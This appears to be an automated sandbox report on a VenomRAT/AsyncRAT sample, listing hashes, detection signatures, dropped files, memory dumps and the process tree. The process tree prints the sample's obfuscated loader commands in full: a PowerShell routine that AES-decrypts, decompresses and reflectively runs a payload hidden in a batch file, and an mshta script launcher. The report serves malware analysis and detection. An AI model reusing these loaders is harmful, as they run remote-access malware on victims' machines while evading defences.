asyncrat | 35dd1e24b5d7024c28d728aa28146f910c0b9832b5dff75ce5e972b5a6f414c5

Reason

Machine shutdown

General

Target

VenomRAT v6.0.3/Venom RAT + HVNC + Stealer + Grabber.exe
Size

26.1MB
MD5

a8776c9984c7b6c4f18bf0505ca939b5
SHA1

e23a41b6f03f11d3b6a64d5645fa102f373bd292
SHA256

5dbb0f9df5fc34b49f0e284afe9037206c29dd8e50f0adbbcca785dcca89592e
SHA512

9ebb8d42d1649cb2b3e97bd703d5daa4b1a87f21949c279335f5b0ee834ef185be473e23f82f0562a0f22c1e54675259113c6555976aee5b5def2087b34a8398
SSDEEP

786432:/h9/AxUNfm9O7HYazcKB9rZsiqS+r+/hGykCCU1:/h9YxUNpTYGRQGhGykCC

Score

10^/10

asyncrat rat

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe
"C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe"
1⤵
PID:4748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Venom.bat" "
  2⤵
  PID:4600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function ztZFv($NRwiA){ $nQAla=[System.Security.Cryptography.Aes]::Create(); $nQAla.Mode=[System.Security.Cryptography.CipherMode]::CBC; $nQAla.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $nQAla.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('QdoYxUkiCqDUKhWwrTH7AerfcIF5j7b/N2RWKPLtoYY='); $nQAla.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('odLQJwhJTyobsFXcB4hGIA=='); $gHZYb=$nQAla.CreateDecryptor(); $return_var=$gHZYb.TransformFinalBlock($NRwiA, 0, $NRwiA.Length); $gHZYb.Dispose(); $nQAla.Dispose(); $return_var;}function RqfAN($NRwiA){ $eThoy=New-Object System.IO.MemoryStream(,$NRwiA); $sppNM=New-Object System.IO.MemoryStream; Invoke-Expression '$TwzvL #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$eThoy,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $TwzvL.CopyTo($sppNM); $TwzvL.Dispose(); $eThoy.Dispose(); $sppNM.Dispose(); $sppNM.ToArray();}function mReVh($NRwiA,$dHouc){ $RXzAR = @( '$nUQVd = [System.Reflection.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$NRwiA);', '$TAeyG = $nUQVd.EntryPoint;', '$TAeyG.Invoke($null, $dHouc);' ); foreach ($CnxNU in $RXzAR) { Invoke-Expression $CnxNU };}$DsIiH=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Roaming\Venom.bat').Split([Environment]::NewLine);foreach ($REdJF in $DsIiH) { if ($REdJF.StartsWith('SEROXEN')) { $LHnvh=$REdJF.Substring(7); break; }}$AShmJ=RqfAN (ztZFv ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($LHnvh)));mReVh $AShmJ (,[string[]] ('C:\Users\Admin\AppData\Roaming\Venom.bat')); "
    3⤵
    PID:4896
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
    3⤵
    PID:4244
- C:\Users\Admin\AppData\Roaming\Venom RAT + HVNC + Stealer + Grabber.exe
  "C:\Users\Admin\AppData\Roaming\Venom RAT + HVNC + Stealer + Grabber.exe"
  2⤵
  PID:1492

C:\Windows\$sxr-mshta.exe
C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-fcYQxVhvEiaGdINTAJQc4312:oTLsfQxw=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
1⤵
PID:4544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Venom RAT + HVNC + Stealer + Grabber.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rftrmkns.wtr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Venom RAT + HVNC + Stealer + Grabber.exe

Filesize
14.2MB

MD5
3b3a304c6fc7a3a1d9390d7cbff56634

SHA1
e8bd5244e6362968f5017680da33f1e90ae63dd7

SHA256
7331368c01b2a16bda0f013f376a039e6aeb4cb2dd8b0c2afc7ca208fb544c58

SHA512
7f1beacb6449b3b3e108016c8264bb9a21ecba526c2778794f16a7f9c817c0bbd5d4cf0c208d706d25c54322a875da899ab047aab1e07684f6b7b6083981abe5

Download Submit
C:\Users\Admin\AppData\Roaming\Venom.bat

Filesize
11.9MB

MD5
04fd97b8a5d2132eee84f856ee0fa938

SHA1
0d1d515140d76fcd9a2dc7f08f9d7a7d9f8d691a

SHA256
bb33e3c94abeda061b89a1d70d2430b74fcc40a81b09c732878939308a676e49

SHA512
e5b4e624343b3e9bec048c894ba681a44d8e71735c03445c361f059dc0aeb53afabeee37bb82ea9ad47187d305ecf28c1b6e46a039a1630da08e2488edb00778

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
memory/1492-23-0x00007FFDB6600000-0x00007FFDB70C1000-memory.dmp

Filesize
10.8MB

Download
memory/1492-20-0x00007FFDB6600000-0x00007FFDB70C1000-memory.dmp

Filesize
10.8MB

Download
memory/1492-22-0x00000232648C0000-0x00000232656F4000-memory.dmp

Filesize
14.2MB

Download
memory/4244-38-0x000001966C740000-0x000001966C7B6000-memory.dmp

Filesize
472KB

Download
memory/4244-51-0x000001966A1D0000-0x000001966A1E0000-memory.dmp

Filesize
64KB

Download
memory/4244-26-0x000001966C250000-0x000001966C272000-memory.dmp

Filesize
136KB

Download
memory/4244-36-0x000001966A1D0000-0x000001966A1E0000-memory.dmp

Filesize
64KB

Download
memory/4244-61-0x0000000180000000-0x0000000180009000-memory.dmp

Filesize
36KB

Download
memory/4244-25-0x000001966A1D0000-0x000001966A1E0000-memory.dmp

Filesize
64KB

Download
memory/4244-37-0x000001966C670000-0x000001966C6B4000-memory.dmp

Filesize
272KB

Download
memory/4244-60-0x0000019650200000-0x0000019650208000-memory.dmp

Filesize
32KB

Download
memory/4244-39-0x0000019674AE0000-0x0000019675378000-memory.dmp

Filesize
8.6MB

Download
memory/4244-40-0x00007FFDD4680000-0x00007FFDD473E000-memory.dmp

Filesize
760KB

Download
memory/4244-41-0x00007FFDD5490000-0x00007FFDD5685000-memory.dmp

Filesize
2.0MB

Download
memory/4244-43-0x00007FFDD5490000-0x00007FFDD5685000-memory.dmp

Filesize
2.0MB

Download
memory/4244-45-0x00007FFDD5490000-0x00007FFDD5685000-memory.dmp

Filesize
2.0MB

Download
memory/4244-44-0x00007FFDB6600000-0x00007FFDB70C1000-memory.dmp

Filesize
10.8MB

Download
memory/4244-46-0x000001966C7C0000-0x000001966D28A000-memory.dmp

Filesize
10.8MB

Download
memory/4244-47-0x000001966D290000-0x000001966D32A000-memory.dmp

Filesize
616KB

Download
memory/4244-48-0x000001966C400000-0x000001966C452000-memory.dmp

Filesize
328KB

Download
memory/4244-49-0x000001966C6C0000-0x000001966C718000-memory.dmp

Filesize
352KB

Download
memory/4244-50-0x000001966D330000-0x000001966D35E000-memory.dmp

Filesize
184KB

Download
memory/4244-24-0x00007FFDB6600000-0x00007FFDB70C1000-memory.dmp

Filesize
10.8MB

Download
memory/4244-52-0x000001966A1D0000-0x000001966A1E0000-memory.dmp

Filesize
64KB

Download
memory/4244-59-0x000001966A1D0000-0x000001966A1E0000-memory.dmp

Filesize
64KB

Download
memory/4748-0-0x00007FFDB6600000-0x00007FFDB70C1000-memory.dmp

Filesize
10.8MB

Download
memory/4748-21-0x00007FFDB6600000-0x00007FFDB70C1000-memory.dmp

Filesize
10.8MB

Download
memory/4748-2-0x0000000003CF0000-0x0000000003D00000-memory.dmp

Filesize
64KB

Download
memory/4748-1-0x00000000001D0000-0x0000000001BFA000-memory.dmp

Filesize
26.2MB

Download

Resubmissions

Analysis

Sharing

Errors